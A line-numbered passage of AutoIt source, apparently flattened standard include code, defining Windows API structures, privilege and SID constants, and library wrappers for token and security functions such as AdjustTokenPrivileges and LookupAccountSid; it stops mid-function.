  2121. Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
  2122. Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
  2123. Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
  2124. Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
  2125. Global Const $taggdipencoderparams = "uint Count;byte Params[1]"
  2126. Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
  2127. Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  2128. Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
  2129. Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  2130. Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
  2131. Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
  2132. Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
  2133. Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
  2134. Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
  2135. Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
  2136. Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
  2137. Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
  2138. Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
  2139. Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
  2140. Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
  2141. Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
  2142. Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
  2143. Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
  2144. Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
  2145. Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
  2146. Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  2147. Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
  2148. Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
  2149. Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
  2150. Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
  2151. Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
  2152. Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
  2153. Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
  2154. Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
  2155. Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  2156. Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
  2157. Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
  2158. Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
  2159. Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
  2160. Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
  2161. Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
  2162. Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
  2163. Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  2164. Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
  2165. Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  2166. Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
  2167. Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
  2168. Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
  2169. Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState"
  2170. Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
  2171. Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
  2172. Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
  2173. Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
  2174. Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
  2175. Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
  2176. Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
  2177. Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
  2178. Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
  2179. Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
  2180. Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
  2181. Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
  2182. Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
  2183. Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
  2184. Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
  2185. Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
  2186. Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
  2187. Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
  2188. Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
  2189. Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
  2190. Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
  2191. Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  2192. Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
  2193. Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
  2194. Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
  2195. Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
  2196. Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
  2197. Global Const $error_no_token = 1008
  2198. Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
  2199. Global Const $se_audit_name = "SeAuditPrivilege"
  2200. Global Const $se_backup_name = "SeBackupPrivilege"
  2201. Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
  2202. Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
  2203. Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
  2204. Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
  2205. Global Const $se_create_token_name = "SeCreateTokenPrivilege"
  2206. Global Const $se_debug_name = "SeDebugPrivilege"
  2207. Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
  2208. Global Const $se_impersonate_name = "SeImpersonatePrivilege"
  2209. Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
  2210. Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
  2211. Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
  2212. Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
  2213. Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
  2214. Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
  2215. Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
  2216. Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
  2217. Global Const $se_restore_name = "SeRestorePrivilege"
  2218. Global Const $se_security_name = "SeSecurityPrivilege"
  2219. Global Const $se_shutdown_name = "SeShutdownPrivilege"
  2220. Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
  2221. Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
  2222. Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
  2223. Global Const $se_systemtime_name = "SeSystemtimePrivilege"
  2224. Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
  2225. Global Const $se_tcb_name = "SeTcbPrivilege"
  2226. Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
  2227. Global Const $se_undock_name = "SeUndockPrivilege"
  2228. Global Const $se_privilege_enabled_by_default = 1
  2229. Global Const $se_privilege_enabled = 2
  2230. Global Const $se_privilege_removed = 4
  2231. Global Const $se_privilege_used_for_access = -2147483648
  2232. Global Const $se_group_mandatory = 1
  2233. Global Const $se_group_enabled_by_default = 2
  2234. Global Const $se_group_enabled = 4
  2235. Global Const $se_group_owner = 8
  2236. Global Const $se_group_use_for_deny_only = 16
  2237. Global Const $se_group_integrity = 32
  2238. Global Const $se_group_integrity_enabled = 64
  2239. Global Const $se_group_resource = 536870912
  2240. Global Const $se_group_logon_id = -1073741824
  2241. Global Enum $tokenprimary = 1, $tokenimpersonation
  2242. Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
  2243. Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
  2244. Global Const $token_assign_primary = 1
  2245. Global Const $token_duplicate = 2
  2246. Global Const $token_impersonate = 4
  2247. Global Const $token_query = 8
  2248. Global Const $token_query_source = 16
  2249. Global Const $token_adjust_privileges = 32
  2250. Global Const $token_adjust_groups = 64
  2251. Global Const $token_adjust_default = 128
  2252. Global Const $token_adjust_sessionid = 256
  2253. Global Const $token_all_access = 983551
  2254. Global Const $token_read = 131080
  2255. Global Const $token_write = 131296
  2256. Global Const $token_execute = 131072
  2257. Global Const $token_has_traverse_privilege = 1
  2258. Global Const $token_has_backup_privilege = 2
  2259. Global Const $token_has_restore_privilege = 4
  2260. Global Const $token_has_admin_group = 8
  2261. Global Const $token_is_restricted = 16
  2262. Global Const $token_session_not_referenced = 32
  2263. Global Const $token_sandbox_inert = 64
  2264. Global Const $token_has_impersonate_privilege = 128
  2265. Global Const $rights_delete = 65536
  2266. Global Const $read_control = 131072
  2267. Global Const $write_dac = 262144
  2268. Global Const $write_owner = 524288
  2269. Global Const $synchronize = 1048576
  2270. Global Const $standard_rights_required = 983040
  2271. Global Const $standard_rights_read = $read_control
  2272. Global Const $standard_rights_write = $read_control
  2273. Global Const $standard_rights_execute = $read_control
  2274. Global Const $standard_rights_all = 2031616
  2275. Global Const $specific_rights_all = 65535
  2276. Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
  2277. Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
  2278. Global Const $logon_with_profile = 1
  2279. Global Const $logon_netcredentials_only = 2
  2280. Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
  2281. Global Const $sid_administrators = "S-1-5-32-544"
  2282. Global Const $sid_users = "S-1-5-32-545"
  2283. Global Const $sid_guests = "S-1-5-32-546"
  2284. Global Const $sid_account_operators = "S-1-5-32-548"
  2285. Global Const $sid_server_operators = "S-1-5-32-549"
  2286. Global Const $sid_print_operators = "S-1-5-32-550"
  2287. Global Const $sid_backup_operators = "S-1-5-32-551"
  2288. Global Const $sid_replicator = "S-1-5-32-552"
  2289. Global Const $sid_owner = "S-1-3-0"
  2290. Global Const $sid_everyone = "S-1-1-0"
  2291. Global Const $sid_network = "S-1-5-2"
  2292. Global Const $sid_interactive = "S-1-5-4"
  2293. Global Const $sid_system = "S-1-5-18"
  2294. Global Const $sid_authenticated_users = "S-1-5-11"
  2295. Global Const $sid_schannel_authentication = "S-1-5-64-14"
  2296. Global Const $sid_digest_authentication = "S-1-5-64-21"
  2297. Global Const $sid_nt_service = "S-1-5-80"
  2298. Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
  2299. Global Const $sid_low_mandatory_level = "S-1-16-4096"
  2300. Global Const $sid_medium_mandatory_level = "S-1-16-8192"
  2301. Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
  2302. Global Const $sid_high_mandatory_level = "S-1-16-12288"
  2303. Global Const $sid_system_mandatory_level = "S-1-16-16384"
  2304. Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
  2305. Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
  2306. Global Const $sid_all_services = "S-1-5-80-0"
  2307.  
  2308. Func _winapi_getlasterror($curerr = @error, $curext = @extended)
  2309. Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  2310. Return SetError($curerr, $curext, $aresult[0])
  2311. EndFunc
  2312.  
  2313. Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
  2314. DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
  2315. Return SetError($curerr, $curext)
  2316. EndFunc
  2317.  
  2318. Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
  2319. Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
  2320. If @error Then Return SetError(1, @extended, False)
  2321. Return NOT ($acall[0] = 0)
  2322. EndFunc
  2323.  
  2324. Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
  2325. Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
  2326. If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
  2327. Return True
  2328. EndFunc
  2329.  
  2330. Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
  2331. Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
  2332. If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2333. Return $acall[6]
  2334. EndFunc
  2335.  
  2336. Func _security__getaccountsid($saccount, $ssystem = "")
  2337. Local $aacct = _security__lookupaccountname($saccount, $ssystem)
  2338. If @error Then Return SetError(@error, @extended, 0)
  2339. If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
  2340. Return ""
  2341. EndFunc
  2342.  
  2343. Func _security__getlengthsid($psid)
  2344. If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
  2345. Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
  2346. If @error Then Return SetError(2, @extended, 0)
  2347. Return $acall[0]
  2348. EndFunc
  2349.  
  2350. Func _security__gettokeninformation($htoken, $iclass)
  2351. Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
  2352. If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0)
  2353. Local $ilen = $acall[5]
  2354. Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
  2355. $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
  2356. If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
  2357. Return $tbuffer
  2358. EndFunc
  2359.  
  2360. Func _security__impersonateself($ilevel = $securityimpersonation)
  2361. Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
  2362. If @error Then Return SetError(1, @extended, False)
  2363. Return NOT ($acall[0] = 0)
  2364. EndFunc
  2365.  
  2366. Func _security__isvalidsid($psid)
  2367. Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
  2368. If @error Then Return SetError(1, @extended, False)
  2369. Return NOT ($acall[0] = 0)
  2370. EndFunc
  2371.  
  2372. Func _security__lookupaccountname($saccount, $ssystem = "")
  2373. Local $tdata = DllStructCreate("byte SID[256]")
  2374. Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
  2375. If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2376. Local $aacct[3]
  2377. $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
  2378. $aacct[1] = $acall[5]
  2379. $aacct[2] = $acall[7]
  2380. Return $aacct
  2381. EndFunc
  2382.  
  2383. Func _security__lookupaccountsid($vsid, $ssystem = "")
  2384. Local $psid, $aacct[3]
  2385. If IsString($vsid) Then
  2386. $psid = _security__stringsidtosid($vsid)
  2387. Else
  2388. $psid = $vsid
  2389. EndIf
  2390. If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
  2391. Local $typesystem = "ptr"
  2392. If $ssystem Then $typesystem = "wstr"
  2393. Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
  2394. If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
  2395. Local $aacct[3]
  2396. $aacct[0] = $acall[3]
  2397. $aacct[1] = $acall[5]
  2398. $aacct[2] = $acall[7]
  2399. Return $aacct
  2400. EndFunc
  2401.  
  2402. Func _security__lookupprivilegevalue($ssystem, $sname)
  2403. Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
  2404. If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2405. Return $acall[3]
  2406. EndFunc
  2407.  
  2408. Func _security__openprocesstoken($hprocess, $iaccess)
  2409. Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
  2410. If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2411. Return $acall[3]
  2412. EndFunc
  2413.  
  2414. Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
  2415. If $hthread = 0 Then $hthread = _winapi_getcurrentthread()
  2416. If @error Then Return SetError(1, @extended, 0)
  2417. Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0)
  2418. If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
  2419. Return $acall[4]
  2420. EndFunc
  2421.  
  2422. Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
  2423. Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  2424. If $htoken = 0 Then
  2425. If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0)
  2426. If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0)
  2427. $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  2428. If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0)
  2429. EndIf
  2430. Return $htoken
  2431. EndFunc
  2432.  
  2433. Func _security__setprivilege($htoken, $sprivilege, $fenable)
  2434. Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
  2435. If $iluid = 0 Then Return SetError(1, @extended, False)
  2436. Local $tcurrstate = DllStructCreate($tagtoken_privileges)
  2437. Local $icurrstate = DllStructGetSize($tcurrstate)
  2438. Local $tprevstate = DllStructCreate($tagtoken_privileges)
  2439. Local $iprevstate = DllStructGetSize($tprevstate)
  2440. Local $trequired = DllStructCreate("int Data")
  2441. DllStructSetData($tcurrstate, "Count", 1)
  2442. DllStructSetData($tcurrstate, "LUID", $iluid)
  2443. If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
  2444. DllStructSetData($tprevstate, "Count", 1)
  2445. DllStructSetData($tprevstate, "LUID", $iluid)
  2446. Local $iattributes = DllStructGetData($tprevstate, "Attributes")
  2447. If $fenable Then
  2448. $iattributes = BitOR($iattributes, $se_privilege_enabled)
  2449. Else
  2450. $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
  2451. EndIf
  2452. DllStructSetData($tprevstate, "Attributes", $iattributes)
  2453. If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
  2454. Return True
  2455. EndFunc
  2456.  
  2457. Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
  2458. Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
  2459. If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
  2460. Return True
  2461. EndFunc
  2462.  
  2463. Func _security__sidtostringsid($psid)
  2464. If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "")
  2465. Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
  2466. If @error OR NOT $acall[0] Then Return SetError(2, @extended, "")
  2467. Local $pstringsid = $acall[2]
  2468. Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text")
  2469. _winapi_localfree($pstringsid)
  2470. Return $ssid
  2471. EndFunc
  2472.  
  2473. Func _security__sidtypestr($itype)
  2474. Switch $itype
  2475. Case $sidtypeuser
  2476. Return "User"
  2477. Case $sidtypegroup
  2478. Return "Group"
  2479. Case $sidtypedomain
  2480. Return "Domain"
  2481. Case $sidtypealias
  2482. Return "Alias"
  2483. Case $sidtypewellknowngroup
  2484. Return "Well Known Group"
  2485. Case $sidtypedeletedaccount
  2486. Return "Deleted Account"
  2487. Case $sidtypeinvalid
  2488. Return "Invalid"
  2489. Case $sidtypeunknown
  2490. Return "Unknown Type"
  2491. Case $sidtypecomputer
  2492. Return "Computer"
  2493. Case $sidtypelabel
  2494. Return "A mandatory integrity label SID"
  2495. Case Else
  2496. Return "Unknown SID Type"
  2497. EndSwitch
  2498. EndFunc
  2499.  
  2500. Func _security__stringsidtosid($ssid)
  2501. Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
